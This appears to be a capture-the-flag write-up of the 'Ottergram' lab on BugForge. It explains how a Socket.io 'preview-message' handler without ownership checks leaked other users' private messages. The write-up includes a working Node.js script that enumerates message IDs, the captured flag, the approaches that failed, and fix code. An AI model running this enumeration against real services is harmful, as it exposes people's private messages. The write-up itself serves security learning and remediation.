Ottergram: WebSocket IDOR via Socket.io
Overview
- Platform: BugForge
- Vulnerability: Insecure Direct Object Reference (IDOR) via Socket.io WebSocket event
- Key Technique: Enumerating message IDs through an unauthenticated Socket.io
preview-messageevent handler to read other users’ private messages - Result: Full read access to all private messages; retrieved flag from pre-seeded messages between other users
Objective
Find the flag hidden within the Ottergram application — an Instagram-like social media platform for otter enthusiasts.
Initial Access
# Target Application
URL: https://lab-1774049282436-akmha5.labs-app.bugforge.io
# Auth details
Registered user: haxor / haxor2
Auth: JWT (HS256) via POST /api/register, stored in localStorage
Key Findings
- IDOR via Socket.io
preview-messageevent (CWE-639: Authorization Bypass Through User-Controlled Key) — The WebSocket event handler returns message content for any message ID without ownership verification, while all REST API endpoints properly enforce authorization.
Attack Chain Visualization
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Register user │────▶│ Obtain valid JWT │────▶│ Connect Socket.io │
│ POST /api/ │ │ from response │ │ with auth token │
│ register │ │ │ │ │
└─────────────────┘ └──────────────────┘ └──────────┬──────────┘
│
▼
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Read flag from │◀────│ Server returns │◀────│ Emit preview-msg │
│ message content │ │ content — NO │ │ for IDs 1-20 │
│ (IDs 1-6) │ │ ownership check │ │ (other users' DMs) │
└─────────────────┘ └──────────────────┘ └─────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React (CRA build) | Instagram-clone UI with posts, likes, comments, DMs |
| Backend | Express.js | REST API + Socket.io for real-time notifications |
| Auth | JWT (HS256) | Token contains {id, username, iat}, role stored server-side |
| Database | SQLite | User, post, message, comment storage |
| Real-time | Socket.io | WebSocket layer for notifications and message previews |
Exploitation Path
Step 1: Reconnaissance — Map the API Surface
Intercepted HTTP traffic via Caido and extracted routes from the React JS bundle. Identified the full REST API surface including admin endpoints (all returning 403) and Socket.io event handlers.
Key discovery from the JS bundle: a preview-message Socket.io emit event that takes a message ID parameter and returns content via a message-preview response event.
Socket.io events found in bundle:
emit: "preview-message" → sends message ID
receive: "message-preview" → returns {messageId, preview}
Step 2: Eliminate Dead Ends — REST API Authorization Testing
Tested multiple attack vectors against the REST API — all properly secured:
- Mass assignment on
/api/registerand/api/profile— role fields filtered server-side - IDOR on REST messages —
/api/messages/inboxscoped to JWT user,PATCH /api/messages/:id/readchecks ownership - Admin endpoints — all return 403 “Admin access required”
- Admin password guessing — common passwords (admin, password, admin123, ottergram) all failed
- SQLi on login — no injection points found
- XSS — React auto-escaping, no
dangerouslySetInnerHTMLin app code
This confirmed the REST layer was well-protected, shifting focus to the WebSocket layer.
Step 3: Exploit Socket.io IDOR — Read Other Users’ Messages
Connected to Socket.io with a valid JWT and emitted preview-message for message IDs 1 through 20. The server returned message content for all existing messages (IDs 1-8) without any ownership check.
const { io } = require("socket.io-client");
const TARGET = "https://lab-1774049282436-akmha5.labs-app.bugforge.io";
const TOKEN = "<valid_jwt>";
const MAX_ID = 20;
const socket = io(TARGET, { auth: { token: TOKEN } });
socket.on("connect", () => {
console.log("[+] Connected to Socket.io");
for (let id = 1; id <= MAX_ID; id++) {
socket.emit("preview-message", id);
}
});
socket.on("message-preview", (data) => {
console.log(`[!] Message ${data.messageId}: ${data.preview}`);
});
Results:
- Messages 1-6 (belonging to other users) — returned full content including flag
- Messages 7-8 (our own messages) — returned content
- Messages 9-20 — returned
undefined(don’t exist), no error or 403
Flag / Objective Achieved
bug{yNRdo67gv5he7DrSXIL7yT2vLAiFTmC7}
Found in pre-seeded private messages (IDs 1-6) between otter_lover, admin, and sea_otter_fan.
Key Learnings
- WebSocket handlers need the same authorization as REST endpoints. This app had solid REST API auth — inbox scoped to JWT, ownership checks on message operations, admin role enforcement — but the Socket.io
preview-messagehandler had zero ownership validation. - JS bundles are a goldmine for attack surface discovery. The
preview-messageevent wasn’t visible in normal HTTP traffic. It was only discoverable by reading the bundled JavaScript. - When the obvious path is locked down, look for alternative channels. Every REST endpoint was properly secured. The vulnerability existed in a parallel communication channel (WebSocket) that didn’t receive the same security scrutiny.
- Enumerate IDs systematically. Simple sequential ID enumeration (1-20) was enough to find all pre-seeded messages containing the flag.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Mass assignment on register (role: “admin”) | Role field ignored | Server filters allowed fields on registration |
| Mass assignment on PUT /api/profile | All extra fields ignored | Server only accepts full_name and bio |
| IDOR on PUT /api/profile with id: 2 | Server used JWT id | Profile updates scoped to authenticated user |
| Direct admin endpoint access | 403 on all endpoints | Server-side role check on every admin route |
| Admin password guessing | All invalid | Strong/non-default admin password |
| SQLi on login fields | No injection | Parameterized queries (likely) |
| IDOR on PATCH /api/messages/:id/read | “Not found or unauthorized” | REST endpoint checks message ownership |
| IDOR on GET /api/messages/inbox?user_id=2 | Param ignored | Inbox scoped to JWT, query param ignored |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP traffic interception and API mapping |
| Browser DevTools | JS bundle extraction and analysis |
| Node.js + socket.io-client | Custom IDOR exploit script for WebSocket enumeration |
| jwtforge | JWT decode and analysis |
Remediation
1. WebSocket IDOR — Missing Authorization on Message Preview (CVSS: 7.5 - High)
Issue: The Socket.io preview-message event handler returns message content for any message ID without verifying the requesting user is the sender or recipient.
CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
socket.on("preview-message", async (messageId) => {
const message = await db.get("SELECT * FROM messages WHERE id = ?", messageId);
socket.emit("message-preview", { messageId, preview: message.content });
});
// AFTER (Secure)
socket.on("preview-message", async (messageId) => {
const message = await db.get(
"SELECT * FROM messages WHERE id = ? AND (sender_id = ? OR recipient_id = ?)",
[messageId, socket.userId, socket.userId]
);
if (!message) {
socket.emit("message-preview", { messageId, preview: null, error: "Not found" });
return;
}
socket.emit("message-preview", { messageId, preview: message.content });
});
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control — Primary finding. The Socket.io event handler lacked authorization checks, allowing horizontal privilege escalation to read other users’ private messages.
- A04:2021 — Insecure Design — The application secured REST endpoints but neglected to apply the same authorization model to WebSocket event handlers, indicating a gap in the security design.
References
- OWASP Testing Guide — IDOR
- CWE-639: Authorization Bypass Through User-Controlled Key
- Socket.io Authentication Documentation
- PortSwigger — Insecure Direct Object References
Tags: #idor #websocket #socket-io #broken-access-control #bugforge #message-disclosure
Document Version: 1.0
Last Updated: 2026-03-21